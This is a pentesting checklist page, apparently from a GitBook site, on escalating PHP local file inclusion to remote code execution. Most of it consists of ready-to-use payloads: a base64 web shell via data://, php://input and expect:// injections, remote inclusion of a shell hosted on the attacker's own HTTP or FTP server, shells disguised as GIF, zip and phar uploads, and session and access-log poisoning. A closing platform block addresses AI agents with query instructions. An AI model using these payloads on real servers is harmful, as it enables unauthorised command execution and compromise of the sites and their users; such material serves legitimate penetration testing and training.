# RCE

* PHP Wrappers
  * Data Wrapper:&#x20;
    * Check if **allow\_url\_include=On** (Use LFI tricks) (A lot of the RCE requires this to be on)
      * Apache: /etc/php/X.Y/apache2/php.ini
      * Nginx: /etc/php/X.Y/fpm/php.ini
    * **/index.php?path=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D\&cmd=id**
  * Input Wrapper:&#x20;
    * Check if **allow\_url\_include=On (Same as data wrapper)**
    * **curl -s -X POST --data '\<?php system($\_GET\["cmd"]); ?>' "[http://ip:port/index.php?path=php://input\\\&cmd=id](https://xenon-cyber-docs.gitbook.io/pentesting-checklist/web-application-checklist/lfi-rce/http:/ip:port/index.php?path=php:/input\\\&cmd=id)"**
  * Expect Wrapper
    * Check if **extension=expect** is in the php.ini files (must be on)
    * **curl -s "[http://ip:port/index.php?path=expect://id](https://xenon-cyber-docs.gitbook.io/pentesting-checklist/web-application-checklist/lfi-rce/http:/ip:port/index.php?path=expect:/id)"**
* RFI (Can be used for SSRF to access local only ports or RCE to host our own shell) (allow\_url\_include=On must be in the php.ini file)
  * Host web shell: (Sometimes the only connections are allowed through websites or the servers they have open)
    * Through port 80/443:&#x20;
      1. **echo '\<?php system($\_GET\["cmd"]); ?>' > shell.php && python3 -m http.server 80/443**
      2. **/index.php?path=<http://our\\_ip:port/shell.php\\&cmd=id>**
    * Through ftp server
      1. **python -m pyftpdlib -p 21**
      2. **[http://ip:port/index.php?path=ftp://our\\\_ip:port/shell.php\\\&cmd=id](https://xenon-cyber-docs.gitbook.io/pentesting-checklist/web-application-checklist/lfi-rce/http:/ip:port/index.php?path=ftp:/our\\_ip:port/shell.php\\\&cmd=id)**
* File Upload
  * Website wants an image:&#x20;
    1. **echo 'GIF8\<?php system($\_GET\["cmd"]); ?>' > shell.gif**
    2. **Figure out where the file got uploaded**
    3. **/index.php?path=path/to/shell.gif\&cmd=id**
  * Zip archive:
    1. **echo '\<?php system($\_GET\["cmd"]); ?>' > shell.php && zip shell.jpg shell.php**
    2. **/index.php?path=zip\://shell.zip%23shell.php\&cmd=id**
  * Phar
    * **php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg**
    * **/index.php?path=phar://path/to/shell.jpg%2Fshell.txt\&cmd=id**
* Log Poisoning
  * PHP session poisoning (have to rerun the poison php parameter with web shell part everytime)
    1. Read PHP session parameters to know which one we can give our own input to
       * **/index.php?path=/var/lib/php/sessions/sess\_(session cookie)**
    2. Poison PHP session with webshell
       * **/index.php?path=%3C%3Fphp%20system%28%24\_GET%5B%22cmd%22%5D%29%3B%3F%3E**
    3. Run a command through the poisoned session
       * **/index.php?path=/var/lib/php/sessions/sess\_(session cookie)\&cmd=id**
  * Server Logs&#x20;
    * On websites we are able to modify our User-Agent request parameter and the web server logs each request in their specific log file
      1. Poison User-Agent with a webshell: **curl -s "[http://ip:port/index.php](https://xenon-cyber-docs.gitbook.io/pentesting-checklist/web-application-checklist/lfi-rce/http:/ip:port/index.php)" -A '\<?php system($\_GET\["cmd"]); ?>'**
      2. RCE through the log file: **/index.php?path=/var/log/apache2/access.log\&cmd=id**


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://xenon-cyber-docs.gitbook.io/pentesting-checklist/web-application-checklist/lfi-rce/rce.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
